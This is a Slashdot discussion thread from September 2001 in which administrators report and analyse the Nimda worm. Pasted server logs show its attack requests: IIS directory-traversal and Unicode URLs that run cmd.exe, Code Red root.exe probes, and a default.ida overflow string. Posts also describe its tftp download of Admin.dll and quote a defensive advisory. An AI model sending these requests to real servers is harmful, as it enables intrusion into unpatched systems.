HA! That's NOTHING! I'm on a 209/29 network and I'm getting them at the rate of 10/minute!

Right now I've got Metallica's "Kill 'em All" on the boombox and that sounds like a pretty good idea to me.

Anybody have an equivalent shutdown webpage like that used against Code Red?

Re:Yep, we're seeing them here too.

[TheReverend]

None for me. Then again my ISP seems to block port 80 inbound...

Re:Yep, we're seeing them here too.

[sheldon]

Just early versions of IE 5.0. 5.01 has a patch which was included in sp2 of that release.

Useful information is here:
http://www.microsoft.com/technet/treeview/defaul t. asp?url=/technet/security/topics/Nimda.asp

Is there a patch out yet?

[Svartalf]

If they're using all-new exploits, it may be that there ISN'T a patch to apply. Furthermore, getting Windows users to apply patches is spotty at best- users often don't even realize that they're running a web server on their box.

Damn...just submitted this story...

[ergo98]

Anyways here's the sequence of attempts it makes, trying to capitalize on old worms that weren't cleaned up properly, as well as known unicode exploits.

2001-09-18 15:10:19 *.*.*.* GET /scripts/root.exe 404 701 72 0 - -

2001-09-18 15:10:19 *.*.*.* GET /MSADC/root.exe 404 701 70 0 - -

2001-09-18 15:10:19 *.*.*.* GET /c/winnt/system32/cmd.exe 404 701 80 0 - -

2001-09-18 15:10:19 *.*.*.* GET /d/winnt/system32/cmd.exe 404 701 80 0 - -

2001-09-18 15:10:19 *.*.*.* GET /scripts/..%5c../winnt/system32/cmd.exe 404 701 96 10 - -

2001-09-18 15:10:19 *.*.*.* GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/c md.exe 404 701 117 10 - -

2001-09-18 15:10:20 *.*.*.* GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/c md.exe 404 701 117 0 - -

2001-09-18 15:10:20 *.*.*.* GET /msadc/..%5c../..%5c../..%5c/..Á../..Á../..Á../ winnt/system32/cmd.exe 404 701 145 0 - -

2001-09-18 15:10:20 *.*.*.* GET /scripts/..Á../winnt/system32/cmd.exe 404 701 97 0 - -

2001-09-18 15:10:20 *.*.*.* GET /scripts/winnt/system32/cmd.exe 404 701 97 10 - -

2001-09-18 15:10:20 *.*.*.* GET /scripts/../../winnt/system32/cmd.exe 404 701 97 0 - -

2001-09-18 15:10:20 *.*.*.* GET /scripts/..\../winnt/system32/cmd.exe 404 701 97 0 - -

2001-09-18 15:10:21 *.*.*.* GET /scripts/..%5c../winnt/system32/cmd.exe 404 701 98 0 - -

2001-09-18 15:10:21 *.*.*.* GET /scripts/..%5c../winnt/system32/cmd.exe 404 701 96 0 - -

2001-09-18 15:10:21 *.*.*.* GET /scripts/..%5c../winnt/system32/cmd.exe 404 701 100 0 - -

2001-09-18 15:10:21 *.*.*.* GET /scripts/..%2f../winnt/system32/cmd.exe 404 701 96 0 - -

Furthermore every attacking system was in the same 255.0.0.0/8 as the target system so it appears to target in the same "Class A" address (of course in this case it's 216.x.x.x so it's not really Class A, but you get the point).

Re:Damn...just submitted this story...

[Heem]

This is just in the past hour.

Listing files, sorted by the number of failed requests.

reqs: file
----: ----
146: /default.ida
146: /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858% ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%uc bd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531 b%u53ff%u0078%u0000%u00=a
108: /scripts/..%255c../winnt/system32/cmd.exe
108: /scripts/..%255c../winnt/system32/cmd.exe?/c+dir
96: /scripts/..%5c../winnt/system32/cmd.exe
96: /scripts/..%5c../winnt/system32/cmd.exe?/c+dir
71: /scripts/root.exe
71: /scripts/root.exe?/c+dir
68: /msadc/root.exe
68: /msadc/root.exe?/c+dir
64: /c/winnt/system32/cmd.exe
64: /c/winnt/system32/cmd.exe?/c+dir
62: /d/winnt/system32/cmd.exe
62: /d/winnt/system32/cmd.exe?/c+dir
60: /_vti_bin/..%255c../..%255c../..%255c../winnt/syst em32/cmd.exe
60: /_vti_bin/..%255c../..%255c../..%255c../winnt/syst em32/cmd.exe?/c+dir
55: /_mem_bin/..%255c../..%255c../..%255c../winnt/syst em32/cmd.exe
55: /_mem_bin/..%255c../..%255c../..%255c../winnt/syst em32/cmd.exe?/c+dir
51: /scripts/winnt/system32/cmd.exe
51: /scripts/winnt/system32/cmd.exe?/c+dir
51: /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c 1%1c../..%c1%1c../winnt/system32/cmd.exe
51: /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c 1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
51: /scripts/..%c1%1c../winnt/system32/cmd.exe
51: /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir
48: /scripts/..%c1%9c../winnt/system32/cmd.exe
48: /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir
48: /scripts/..%252f../winnt/system32/cmd.exe
48: /scripts/..%252f../winnt/system32/cmd.exe?/c+dir
48: /scripts/..%c0%af../winnt/system32/cmd.exe
48: /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir
1: x

More Info

[Nater]

When the dir command succeeds (or rather, when the worm believes it has succeeded), the next request has a tftp command embedded in it which attempts to install a file called Admin.dll. Following that, there is a request for the dll itself, which presumably kick starts the worm.

I'll take a look at Admin.dll later today.

Re:More Info

[Dimensio]

Hrmm...I'm on IE6 and I looked at a few infected pages. Admin.dll was planted in C:\winnt\system32\dllcache and some other MS-shared based directory, but I was able to delete the file without any problems (so it wasn't in use or locked). Do you know if the file is required for the program to run, or does it just start the worm and get unloaded after that? I'd hate to have an infected machine, especially if I end up infecting the rest of the company.

Re:More Info

[Nater]

All I know is what's in my Apache logs. The worm tries to run a 'dir' command via cmd.exe. If it thinks that succeeded, it then runs a 'tftp' command via cmd.exe with parameters to cause it to fetch Admin.dll. After that, it requests Admin.dll directly. I'm not terribly familiar with how IIS is supposed to handle direct requests to DLLs, but I imagine it treats them as server-side logic, rather than static content. If that's the case, then the DLL gets executed and the worm does its business. I've got some work to do, but I'll be taking a look at that DLL later today, like after work. Findings will be posted.

Re:More info

[Anonymous Coward]

Back when the patches were posted, there was an article on SANS.org talking about how IIS servers doing certain things were still vulnerable regardless of being patched. I don't know it the article is still there, and I don't remember what functions had to be running.

Re:More Info

[Anonymous Coward]

Pardon the AC -- didn't want to waste time logging in -- It would seem to me, then, that renaming or moving tftp.exe out of c:\winnt\system32 would keep this thing from majorly screwing you. Is that a safe assumption?

Re:More Info

[Nater]

It would seem to me, then, that renaming or moving tftp.exe out of c:\winnt\system32 would keep this thing from majorly screwing you.

Also, bear in mind that removing IIS and installing Apache would keep this thing from majorly screwing you, with the added bonus of shielding you from any other worm that exploits IIS.

As far as this particular worm is concerned, though, your suggestion would work.

Re:More Info

[Mike_Billings]

Haha, even better, ignore the dll. Map a network drive to the brand new share it creates and write em a nice little note on their desktop. Mua ha ha...

Re:More Info

[Nater]

Right, so...

Here's my preliminary analysis of Admin.dll (using strings and nmap):

It modifies registry keys related to TCP/IP (apparently it blocks incoming SYNs... evidenced by nmapping cracked boxen), Explorer (to unknown effect), and a few other things. Most notably, it turns on extension hiding.

It contains an SMTP client, and possibly a server, and a hard-coded email which I have yet to really take a good at, except to note the javascript line that opens a file called "readme.eml" (an attachment?).

It creates an account called "guest" and adds it to the Administrators and Guests groups.

It may also be making modifications to system.ini and other .ini stuffs in the WINDOWS directory.

It contains the actual propagation code. I'm not sure if this includes the TFTP server or not.

I have downloaded Admin.dll from three infected machines and they have different MD5 sums. I do not know if this code is mutagenic or not.

Re:MORE INFO

[Anonymous Coward]

Delete all .eml files from your system (a handy way to do this is with del /S *.eml at a command prompt)...

This is also a great way to destroy your Exchange system if you accidentally run it as admin on your Exchange IFS. Try del /S readme.em* :)

Sue them

[slimme]

If those boxes cause you a problem (lost time, lost work, lost bandwith, distress, ...) you have every right to sue the operators of these (unattended?) boxes.

You might also ask their ISP's to shut down their internet connection for these reasons. If they dont comply sue them.

You do live in the U.SA. don't you?

Re:Sue them

[Anonymous Coward]

One problem: Money. ISPs tend to have more money than the average Slashdotter. A lot more.

Re:Sue them

[slimme]

You could try the class action thing

Re:Sue them

[Anonymous Coward]

You do live in the U.SA. don't you?

Err... actually, I don't.

Re:Sue them

[Anonymous Coward]

You're right.

Let's get a legal precedent going.

So that anybody, anywhere is liable for putting a machine online that isn't formally certified as 'secure.'

What a cool idea. That would get rid of the whole Free Software scene.

Re:Sue them

[SEWilco]

The U.S. Congress is already considering doing just that. Encryption: "Anything not permitted is not allowed."

Re:Sue them

[Anonymous Coward]

Government won't have to act if we can just get a vigorous legal predecent in civil law.

Shut 'em down, boys. They went on the 'net with an OS that hasn't been certified....

Re:Sue them

[Anonymous Coward]

let's sue Microsoft. Any admins out there double as attorneys. We do have a case. These exploit used to launch this attack has been around for months. Microsoft has left security to everyone else while they dump on the marketplace. Sounds like grounds to me. Maybe we start in California and NY then go from there. These people (MS) have ruined my day. Too bad it looks like the gov't is
in their pocket. This never really had to happen either.

Re:Sue them

[slimme]

I do not think you have got a case against Microsoft. I guess all the vulnerabilities that have been used, have been patched. The only people at fault are:

-sysadmins (or dumb users) that let this mess propagate.
-ISP's that don't cut them of.

Perhaps you can threaten the ISP with a civil suit. Maybe they will consult their lawyers and perhaps they will realize that they might be liable.

It sure as hell beats whining about it and doing nothing.

Re:Sue them

[slimme]

Did I say anything about certified? Or secure for that matter.

Known vulnerabilities that have not been patched are gross negligence. They cause harm by not keeping up to date. They should be kicked of the internet (and should pay for damage done if they can't be kicked of the internet).

And this applies as much for proprietary software as for free software.

Re:Sue them

[Anonymous Coward]

when you say sue them, do you imply "sue"
in plural form (like talking to a stranger or to someone you respect) or not (like talking to someone you really know, or have no respect to)?

if not, then it is bad manners and you have no right to do so.

I SUE YOU!
(*you* is in plural -politeness=on-)

(pls clarify, by intergrading notice in your upcoming mails, in your .sig)

Re:This could explain why I can't reach my machine

[nitemayr]

Yeah, just started on 24 /8 this morning at exactly 9:30am est

exactly 1 week after WTC attack (9 AM EST)

[Orp]

Is it just a coincidence? I doubt it.

I noticed the activity light on my cable modem (charter communications @home) was on constantly - ran tcpdump and it's all these "who has x? tell y" arp queries (nameserver lookups), just like with code red.

Leigh Orf

Re:exactly 1 week after WTC attack (9 AM EST)

[Anonymous Coward]

Seems like a good name of the the worm:

Twin Towers

World Trade Center

WTC

PENTTBOMB,

NYC

Retailiation

UBL

etc.

Re:exactly 1 week after WTC attack (9 AM EST)

[Anonymous Coward]

Hmmmm, that brings up an interesting point. Maybe this is the second terrorist wave? Who knows what next week will bring?

Maybe I should stop spreading conspiracy theories?

Re:exactly 1 week after WTC attack (9 AM EST)

[Anonymous Coward]

who has x tell y is ARP, not DNS. You'll always see those when IP needs to find the ethernet address to send the packet to.

'Fuck USA' is sadmind

[Gambit Thirty-Two]

The 'Fuck PoisonBox' you're getting is due to the Sadmind virus.

More at:
http://www.symantec.com/avcenter/venc/data/backdoo r.sadmind.html

Re:'Fuck USA' is sadmind

[Swaffs]

Just saw a new one:

sex0r lowd l33tn3ss

sex0r geeklab.org

contact:lowd@geeklab.org

I've been getting hits since last night...

[kypper]

my firewall ain't pleased.

I didn't think of Code Red stuff since my mind's been on the WTC stuff and potential war.

Isn't it interesting that everything nasty happens in just a short period? At least I know why my net has been crawling so badly.

As opposed to the Linux patches

[Anonymous Coward]

Which fix all future bugs before they happen. Hello?

With 1,000 easy reasons to not use MS, you decide to MAKE ONE UP? Sheesh....

Re:As opposed to the Linux patches

[benjymous]

Just because a bug hasn't been found yet (or isn't generally known about), doesn't mean it doesn't exist

slashdot community

[mach-5]

It is really cool to see everyone giving their experiences and trying to pull together to figure this one out. It won't be long until a slashdotter gets to the bottom of this one.

Re:slashdot community

[Rackemup]

It is pretty cool eh? So many geeks to chip in with knowledge and experience...

I wonder if our servers are being scanned...

Mail sent to me.

[tino_sup]

I received mail with a readme.exe and txt.exe attachments.

The sending address was from jleo@arcgny.org with the subject line:

ware\Microsoft\WindoJb4 "supertrak66bclass11_28hlaconsoleapplication2data consoleapplication1consoleapplication1supertrak66b servicesuntitled - 1ultrabudgetciscostuffconsoleapplication2pitou-0co nsoleapplication2_debug

.Searching for the address brought up the 2600 website with a Support Message for the WTC.

A quick traceroute returned:
16 172 ms 187 ms 125 ms adsl-65-66-34-57.dsl.stlsmo.swbell.net [65.66.34.57]

A little more info found returned:

--====_ABC1234567890DEF_====
Content-Type: audio/x-wav;
name="readme.exe"
Content-Transfer-Encoding: base64
Content-ID:

I have yet to scope the file.

Re:Mail sent to me.

[Matts]

He's almost certainly *not* the originator.

This is not just a Code-Red like virus, it's also a mass mailer (like SirCam). This is going to be bad for the unprotected, and worse for the protected, because we suffer the clawback after effects.

Re:Mail sent to me.

[ScumBiker]

Sounds like you have the W32/Nimda-A virus. Follow the link for a good update.

BTW, My nameserver/webserver is getting smoked with this 208.x.x (for lack of a better name) worm. I work for the state DNR and it's aproaching a DDOS style attack for us.

Re:Mail sent to me.

[Anonymous Coward]

jleo@arcgny.org is Joe Leo, the Assistant Director of Business Applications and IT for the American Red Cross of Greater New York. He's the one who had the request for technology to aid rescue workers searching through the rubble in NYC. Check out the info in the previous thread here on Slashdot, or on techtv. He is certainly not the originator of this.

Re:Mail sent to me.

[Craig Maloney]

Imagine my surprise when I got the same message...

From support@apple.com

Weird choice of return addresses, no? Fortunately I run a pine/procmail combo, and procmail managed to toss it into my SPAM folder.

Corporate ought to be securing the box better...

[Svartalf]

If there's a patch, they should have applied it (If it breaks things, well, perhaps Windows isn't something they should be using...). If the patch doesn't fix this, they should be screaming at MS. If this is a new exploit maybe they should be screaming at MS and checking into a new system design...

Bin Laden again

[Anonymous Coward]

Gues he has it in for the U S og A =)

Code Blue like?

[Erasei]

Symantec has an article on Code Blue. This might not be it.. but it's a lot like it from what I can tell.

Re:This could explain why I can't reach my machine

[xZAQx]

Hey I'm on 24.154 and I didn't notice any latency when SSHing in to home. (Coming from a 208 at work, btw)

Re:This could explain why I can't reach my machine

[headonfire]

I'm on a cable network, 24.x.x.x...
My logs are getting swamped, with as many as 55 hits from a single IP in minutes.

"File does not exist: /usr/local/httpd/htdocs/scripts/..Á{../winnt/syste m32/cmd.exe

File does not exist: /usr/local/httpd/htdocs/MSADC/root.exe

File does not exist: /usr/local/httpd/htdocs/msadc/..%5c../..%5c../..%5 c/..Á{../..Á{../..Á{../winnt/system32/cmd.exe

running a search script on "cmd.exe" in my apache error.log tells me:

ip is 24.124.x attempts is '22'
ip is 24.124.x attempts is '11'
ip is 24.252.x attempts is '11'
ip is 24.69.x attempts is '11'
ip is 24.232.x attempts is '11'
ip is 24.124.x attempts is '11'
ip is 24.124.x attempts is '9'
ip is 24.162.x attempts is '9'
ip is 24.124.x attempts is '15'
ip is 24.93.x attempts is '11'
ip is 24.124.x attempts is '36'
ip is 216.198.x attempts is '1'
ip is 24.124.x attempts is '44'
ip is 24.124.x attempts is '1'
ip is 24.16.x attempts is '1'
ip is 24.124.x attempts is '2'
ip is 24.37.x attempts is '2'
ip is 24.164.x attempts is '5'
ip is 24.0.x attempts is '11'
ip is 24.124.x attempts is '11'
ip is 24.1.x attempts is '22'
ip is 24.124.x attempts is '22'
ip is 24.161.x attempts is '11'
ip is 24.6.x attempts is '11'
ip is 24.124.x attempts is '55'
ip is 24.124.x attempts is '22'
ip is 24.124.x attempts is '22'
ip is 24.124.x attempts is '33'

This is just from this morning, starting in the wee hours and still continuing as I write.

Spread analysis

[Ex Machina]

first hit: 5:25:07 GMT

grep winnt /var/log/apache/error.log | cut -d " " -f 8 | cut -d ] -f 1 | uniq | wc -l
27 hosts

All the hits are from my class A

Re:Spread analysis

[TwP]

Umm, your command there will not quite work properly - you are counting duplicate IP addresses. Try this one out instead:

grep winnt /var/log/apache/error.log | cut -d " " -f 8 | cut -d ] -f 1 | sort | uniq | wc -l

That should work a bit better for you, there :)

Re:Spread analysis

[Anonymous Coward]

Missing a few, so try this:

FILE="./error_log" && (((grep winnt $FILE) && (grep root.exe $FILE)) | cut -d " " -f 8 | cut -d ] -f 1 | sort | uniq | wc -l)

Re:Spread analysis

[Anonymous Coward]

better and better:
awk ' {
if ($0 ~ /default.ida/ || $0 ~ /cmd.exe/) [
print $0
}
}' | sort -u
Youi could also use
strftime to get the date range by month:
n = strftime()
nt = substr(n,2,5)
I have codered assaults from whenever to whenever,
but i hadn't been keeping track due to the fact that i run suse and ol'apache. I work k-12 and
I have to run multiple services on a single
machine:it has been dying since two weeks ago at
irregular intervals, and using a better script
i have been keeping tabs ..it has gone from bad to much worse.

hrmmmm.....

[Anonymous Coward]

looks like I got a few this morning. all from 65.102.x.x

scanning

[defy]

Do all these boxes doing the scanning seem to be patched from the exploit themsevles?

Dumping Files

[jducoeur]

Stupid thing also dumps files all over the network. It got into our net about two hours ago, and began to spew ".eml" files all over the place, on every machine on the subnet, one in every subdirectory it could find. (Where is the name of some real file on the system.) The contents are a readme.exe file, which is MIME-encoded to say that it's a WAV file. My guess is that, if you click on the .eml file, it launches things anew...

Re:Dumping Files

[Anonymous Coward]

I've seen .nws files being dumped as well.

Re:Dumping Files

[Anonymous Coward]

we also got a lot of riched20.dll

We've been seeing it too

[Chang]

Snort has been picking this up as IDS297 (directory traversal) and 102:1:1 (ISS Unicode attack) at our location since about 9:00am EDT.

We are seeing very heavy activity (not as bad as Code Red) since then.

Worm Un-named no longer

[GodHead]

From NTBugTraq

w32.nimda.amm

Re:Worm Un-named no longer

[juliao]

Hmmm. just commenting on your .sig


Just wait till some crappy band steals your nic.

They stole your network adapter? Over the internet?? What are those darn hackerz going to pull off next???

Re:Worm Un-named no longer

[cornjones]

another comment on your sig.
I feel your pain. my orig nick was 'corn' but when everybody started spelling it w/ a 'k' and thinking I was a fan of those fucks I had to start changing it around.

fucking shitty bands. B(

Re:Worm Un-named no longer

[Nate Fox]

Yup, thats the name alright, according to Symantec who has a preliminary write-up on it. Not much info now, but I'm sure it'll have more as the day progresses.

Re:Worm Un-named no longer

[Steveftoth]

I think that he means your nickname, or Handle.

Re:Worm Un-named no longer

[jesser]

Btw, "nimda" is admin spelled backwards.

Re:Worm Un-named no longer

[wossName]

I think he was making one of those humor-jokes. ;)
(The sig literally said "nic".)

Re:Worm Un-named no longer

[smcclell]

maybe they should call it "nimrod", which is "windows user" spelled forward, with feeling.

New Virus

[Sternn]

I contacted UUNET (My T1 provider) and they told me it was a strain of Code Red. It seems to be everywhere. I have isolated a few dozen IP's from my logs already. I have contacted the web admins of the sites in question as well. I am getting about 100+ hits a minute now, utilizing about 10%-20% of the T1 the main webserver is on. I'm guessing this will be a problem for everyone, even if your not running IIS, or your server is patched (like mine), the hundreds of scans can eat your bandwidth away regardless.

-S

Re:new virus

[Anonymous Coward]

It may have been written by someone connected to Hitler too. Or even *gasp* reality! Moron.

Re:New Virus

[Anonymous Coward]

same problem..T1, verizon the provider; i've
got a friend in the noc who calls me on sh** like
this..he warned me two weeks ago and now I have got port scans from the private(proxy) net. this really sucks...

Mystery file upon accessing attacking site

[jermz]

When trying to access a couple of the attacking sites, I get a download of a file called wbk832.tmp and a second IE window opens with the URL of mhtml:http://xxx.xxx.xxx.xxx/readme.eml

This looks like a bad one. Anyone have any ideas?

Re:Mystery file upon accessing attacking site

[bobwoodard]

That's another method of propogation. The web pages have 2 sets of [html][/html] tag sets, which causes the 2nd browser window to open.

It's that second window which autoruns the .eml file, which is really an executable that spreads the worm.

Re:Mystery file upon accessing attacking site

[craigl5678]

When visiting an infected site, www.qal.com Wordpad starts the says "Can not load executable file." A quick look at code shows it is trying to load readme.eml.

From ntbugtraq...

[Anonymous Coward]

There have been numerous reports of IIS attacks being generated by
machines over a broad range of IP addresses. These "infected"
machines are using a wide variety of attacks which attempt to exploit
already known and patched vulnerabilities against IIS.

It appears that the attacks can come both from email and from the
network.

A new worm, being called w32.nimda.amm, is being sent around. The
attachment is called README.EXE and comes as a MIME-type of
"audio/x-wav" together with some html parts. There appears to be no
text in this message when it is displayed by Outlook when in
Auto-Preview mode (always a good indication there's something not
quite right with an email.)

The network attacks against IIS boxes are a wide variety of attacks.
Amongst them appear to be several attacks that assume the machine is
compromised by Code Red II (looking for ROOT.EXE in the /scripts and
/msadc directory, as well as an attempt to use the /c and /d virtual
roots to get to CMD.EXE). Further, it attempts to exploit numerous
other known IIS vulnerabilities.

One thing to note is the attempt to execute TFTP.EXE to download a
file called ADMIN.DLL from (presumably) some previously compromised
box.

Anyone who discovers a compromised machine (a machine with ADMIN.DLL
in the /scripts directory), please forward me a copy of that .dll
ASAP.

Also, look for TFTP traffic (UDP69). As a safeguard, consider doing
the following;

edit %systemroot/system32/drivers/etc/services.

change the line;

tftp 69/udp

to;

tftp 0/udp

thereby disabling the TFTP client. W2K has TFTP.EXE protected by
Windows File Protection so can't be removed.

More information as it arises.

Cheers,
Russ - Surgeon General of TruSecure Corporation/NTBugtraq Editor

Aargh!

[JimPooley]

Just started getting these in the last two hours, all from 195.x.x.x addresses.
OK. So I'm running Apache, which shrugs them off, but they're wasting our crap bandwidth and stuffing our web server logs!
I tried looking at the websites - many of them had some kind of default screen, indicating an unused IIS installed by default/mistake.

Apache commands

[man_ls]

apache_1adminconfig
fontsmrtns2
apacheroutedelete
hpfontsmod_perl-1
gettime
big-sister-0
apachejmeter_1
pdfwritr
apache-contrib1lo66293
routedelete
autoexec
apachejmeter_1mod_phantomimap

No ideas...got me what it's doing.

I've been getting these, as well as SirCam messages, the "Hi! How are you? I send you this file to ask for you advice..." with ATT0000059.TXT, a 59-byte file, and ATT0000059.DAT, 159KB that looks like it contains some type of executable code.

I've also gotten the snippits of the registry:
"ware\Microsoft\Windo,b4 pull123"

Anyone have any ideas about this? I haven't opened anything except the messages, and Windows 2000 is pretty secure, but I'd rather not get infected with something if possible.

Re:Apache commands

[Anonymous Coward]

This is somewhat off-topic, but does anyone know how to remove the SirCam virus from an infected file?

Re:Apache commands

[Anonymous Coward]

Um. yeah... and read the attachments. Might find something juicy. I remember an app for that (runs on *nix) which extracts the original file - the file that, had you been running windows, you would now be staring at as it emailed all your files off to all your friends.

Anyone have a link to that app?

Re:Apache commands

[cyberdonny]

Just strip off the 134k first bytes:
dd if=file.in of=file.out bs=1024 skip=134

However, most files have readably Ascii text inside, which can be viewed by strings -a, or even emacs. And if it is a zip file, just unzip it without any further steps: indeed, zip files are "anchored" at the end, and zip transparently ignores any garbage prepended to an archive.

Maybe, with a little bit of luck somebody might come across a sircamed copy of battle plans that /bin/laden had sent to his cronies...

Re:Destroy Islam. Exterminate All Muslims. Destroy

[HermanBupkis]

Don't be a dink, man.

We are all upset about what the Terrorists did. But you don't have to be a wiener to a bunch of innocent people.

Figured that's what it was.

[Perianwyr Stormcrow]

Aside from the Code Red usual suspects who've been hitting my server, I've seen a shitload of these, too.

It doesn't even have a cool name yet. feh.

Maybe a Box collection for mas DDoS on Afganistan?

[Quazion]

I heard some Hacker groups where planning cyberwar against Afganistan and Iraq, then they will be needing loads of machines.

Dont know but this could be related.

Quazion.

Info FromRuss at BugTraq

[Anonymous Coward]

-----BEGIN PGP SIGNED MESSAGE-----

There have been numerous reports of IIS attacks being generated by machines over a broad range of IP addresses. These "infected" machines are using a wide variety of attacks which attempt to exploit already known and patched vulnerabilities against IIS.

It appears that the attacks can come both from email and from the network.

A new worm, being called w32.nimda.amm, is being sent around. The attachment is called README.EXE and comes as a MIME-type of "audio/x-wav" together with some html parts. There appears to be no text in this message when it is displayed by Outlook when in Auto-Preview mode (always a good indication there's something not quite right with an email.)

The network attacks against IIS boxes are a wide variety of attacks. Amongst them appear to be several attacks that assume the machine is compromised by Code Red II (looking for ROOT.EXE in the /scripts and /msadc directory, as well as an attempt to use the /c and /d virtual roots to get to CMD.EXE). Further, it attempts to exploit numerous other known IIS vulnerabilities.

One thing to note is the attempt to execute TFTP.EXE to download a file called ADMIN.DLL from (presumably) some previously compromised box.

Anyone who discovers a compromised machine (a machine with ADMIN.DLL in the /scripts directory), please forward me a copy of that .dll ASAP.

Also, look for TFTP traffic (UDP69). As a safeguard, consider doing the following;

edit %systemroot/system32/drivers/etc/services.

change the line;

tftp 69/udp

to;

tftp 0/udp

thereby disabling the TFTP client. W2K has TFTP.EXE protected by Windows File Protection so can't be removed.

More information as it arises.

Cheers,
Russ - Surgeon General of TruSecure Corporation/NTBugtraq Editor

-----BEGIN PGP SIGNATURE-----
Version: PGP Personal Privacy 6.5.2

iQCVAwUBO6dmcRBh2Kw/l7p5AQHJCgQA1JHwqF5RjJX+QVMM DU ChVqn6yReQXqEH
Tm8Ujms5+6ia0tcT1qmZWJV48eHYNzV3+AyyO6Gn8ds/NVYJ Uu pDHB1Yy1DY/po6
iycY2qnARDJP6KNmHI0bAdBUBtsnVo5P9itElIoqKbAorQja mK I2eqd4TdE0yfIO
hSW7yN2lhJc=
=YAwc
-----END PGP SIGNATURE-----

Re:Info FromRuss at BugTraq

[ink]

W2K has TFTP.EXE protected by Windows File Protection so can't be removed.

It's always nice when your operating system knows more about your intentions than you do.

Re:Info FromRuss at BugTraq

[1010011010]

TFTP.EXE can be removed. Just remove Windows' backup or "cache" copy first, then delete the real thing.

Re:Info FromRuss at BugTraq

[ocie]

Why not protect the security of the OS too?

Re:Info FromRuss at BugTraq

[Black Parrot]

> One thing to note is the attempt to execute TFTP.EXE to download a file called ADMIN.DLL from (presumably) some previously compromised box.

> Anyone who discovers a compromised machine (a machine with ADMIN.DLL in the /scripts directory), please forward me a copy of that .dll ASAP.

Ehrm, won't that take care of itself if you just leave your machine on the network for a while?

Re:Info FromRuss at BugTraq

[Anonymous Coward]

hehe...
I just sent him one just to make sure. It's nice and safe in a zip... Honest!

Re:Info FromRuss at BugTraq

[vslashg]

Or if you REALLY want to piss Win2k off, delete tftp.exe and then immediately make a directory called tftp.exe in its place. It will try to overwrite it but won't be able to. Kind of amusing, anyway.

Re:Info FromRuss at BugTraq

[Anonymous Coward]

Funny, our NAI rep forwarded this to us.. but he/she somehow left off the part stating who actually wrote this...

Re:Info FromRuss at BugTraq

[Anonymous Coward]

"Ok, whoa horsy, I've got lots of copies of ADMIN.DLL now thanks!" -- Russ at 9:19AM PST.

Re:Info FromRuss at BugTraq

[Anonymous Coward]

I like to do this with SuSEconfig; they are kind of similar..
I still love SuSE tho...

Re:Info FromRuss at BugTraq

[Anonymous Coward]

What OS? NT doesn't have an OS layer. It's a BIOS connected to an APP connected to a GUI. Hardly an OS, IMHO.

From what department?

[EI-AOB]

from the what-a-pain-in-the-arse dept.

Arse? When did you move to England (or Ireland), Rob?

security focus DOD?

[maddogsparky]

I timed out trying to get to the link. /.ed, or DOD?

Re:security focus DOD?

[maddogsparky]

Oops, for got to check my post:/

I meant, is Security Focus /.ed or DDOS? I can't get to it right now.

Re:security focus DOD?

[Jburkholder]

I got to the page linked and I got the exploit code for some April 1 exploit.

I got to the top news page before the site stopped responding, and there was no mention of any new IIS worm attacks.

Re:security focus DOD?

[Jburkholder]

replying to my own post, but...

securityfocus.com is either severly /.-ed (which I kind doubt) or is experiencing some kind of DDOS, perhaps directly the result of this new worm.

In any case, I found the page in my cache..

Microsoft Windows "April Fools 2001" Vulnerability

//
// APRIL1.C -- Simple test program for the "April's Fools 2001" bug
//
// by Richard M. Smith (rms@pharlap.com)
// copyright (C) 1999
//

#include
#include
#include
:
:

From other posts I've seen, the worm is just trying several known exploits. I doubt that this april1 vulnerability really has anything to do with it. Perhaps the original post linked to the wrong page?

Re:security focus DOD?

[irix]

This URL is probably what you are looking for.

Added text to defeat stupid "postercomment compression filter".

Re:security focus DOD?

[Jburkholder]

Yep, at this point in the day there is obviously now a story out there. Early in the day, someone posted that link that was obviously just wrong.

Damn it!

[Reality Master 101]

Just when I was hoping my cable company would unblock my HTTP port (which they said was "temporary"). Unfortunately, this will give them more fuel to make it permanent.

The HTTP port doesn't bug me as much as they have also blocked my mail port.

Question for sendmail experts out there, related to this: I'm currently using another system to tunnel my mail to my box on my cable modem. It works great, but a side effect is that it looks like all mail is coming from "localhost", which defeats the anti-Spam measures. Of course, it didn't take long for the cockroaches to find my mail server and use it for relaying. I've been fighting it by blocking specific subnets, but it's an annoying battle. Any suggestions?

Re:Damn it!

[Reality Master 101]

I should also add that I've considered setting up sendmail on the remote box and doing relaying, but I don't really want to take up too many resources on that box (it's not really mine, and the owner is doing me a favor). I would rather do it as just a passthrough.

Re:Damn it!

[Anonymous Coward]

Sendmail answer - the sendmail documentation claims the default config is anti-spam, but that's a load of crap. You need to rebuild the anti-spam version of sendmail and replace the old one with the new one. It took me a good week to figure that one out, as the documnetation is wrong. This is somewhat complicated and the syntax is brutally cryptic to rebuild sendmail, but it works. Here's a link to get you started:

http://www.sendmail.net/

Cheers

Re:Damn it!

[mtcrowe]

My suggestion is to use a service such as DHS.ORG to register your cable modem's IP address as a valid internet address. Then, set up your server (it sounds like you're behind a NAT device) as .dhs.org.

If all your clients are behind the NAT as well, you can edit the /etc/mail/access file and add

192.168.0 RELAY

This will cause sendmail to only relay messages if they come from your internal, non-routable network.

Re:Damn it!

[Reality Master 101]

No, I have a Linux box as my server, which is on the Internet using my cable modem's IP address. I have my own domains that I use, which used to point to my cable's IP address. The nice thing about my cable company is that they give you a static IP. My life was great, until they blocked HTTP and SMTP. Of course, my other computers are using NAT to the Linux box.

Re:Damn it!

[b1t r0t]

Sendmail does have anti-spam features. If you configure it properly. By building the sendmail.cf file using the M4 macros.

